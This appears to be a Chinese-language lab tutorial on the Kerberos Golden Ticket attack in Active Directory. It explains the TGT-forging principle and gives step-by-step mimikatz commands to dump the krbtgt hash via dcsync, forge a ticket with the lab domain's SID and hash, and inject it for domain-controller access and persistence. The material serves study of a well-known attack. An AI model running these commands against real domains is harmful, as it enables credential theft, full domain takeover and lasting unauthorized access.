前言
在横向渗透中,利用Ticket票据进行横向常常用在域环境里。常见的有三种攻击方式:ms14-068、Golden Ticket(黄金票据)、Silver Ticket(白银票据)
我们今天学习Golden Ticket(黄金票据)
概念
在了解了kerberos协议,Client和Server通信大概经过三次认证。具体参考之前学习的kerberos认证学习。Client通过了第一次AS认证,返回给TGT用于第二次认证。
如果TGT被伪造,即跳过了AS认证,直接进行第二次认证,就可以和任意的Server进行通信。而伪造的TGT叫做黄金票据,也被称为认证票据。
原理
那么TGT如何伪造呢?就得看一下TGT是怎么产生的。是在第一次认证中,KDC返回给Client两部分内容。
一部分:Client NTLM-Hash 加密的Session-key as
一部分:TGT(krbtgt 域账户的NTLM Hash 加密的Session-key as、 Client-info、timestamp)
也就是当我们拥有krbtgt 域账号NTLM-Hash的情况下,即获取域管理员权限。就可以伪造黄金票据(Golden TGT)
利用条件
krbtgt NTLM-Hash:仅保存在域控服务器的活动目录中。也就是说我们需要获取域控制器的权限。
域账户名称:通常是域管理员Administrator
域名称
域SID
导出krbtgt皆有以上信息
黄金票据,通常在拿下域控后用来作权限维持的一种方式。因为krbtgt 域账户的密码基本不会更改,即使域管密码被修改,它也不会改变。
伪造黄金票据
实验环境
域控制器:Server 2012
域用户:Server 2008
1.获取krbtgt 域账户的NTLN-Hash
在域控上mimikatz导出krbtgt hash
mimikatz log "lsadump::dcsync /domain:tide.org /user:krbtgt"
可看到以下信息
Hash NTLM : 264d69c269433dacf814799a4e6e92e5
SID: S-1-5-21-1082813543-4064396809-3123302706 不要RID值(502)
domain: tide.org
2.生成黄金票据
在域用户server 2008 上使用mimikatz生成黄金票据
kerberos::purge 清空缓存
kerberos::golden /admin:Administrator /domain:tide.org /sid:S-1-5-21-1082813543-4064396809-3123302706 /krbtgt:264d69c269433dacf814799a4e6e92e5 /ticket:Administrator.kiribi
执行后会生成Administrator.kiribi
3. 伪造黄金票据获取域控权限
mimikatz导入该黄金票据
kerberos::ptt Administrator.kiribi
即可获得域控权限。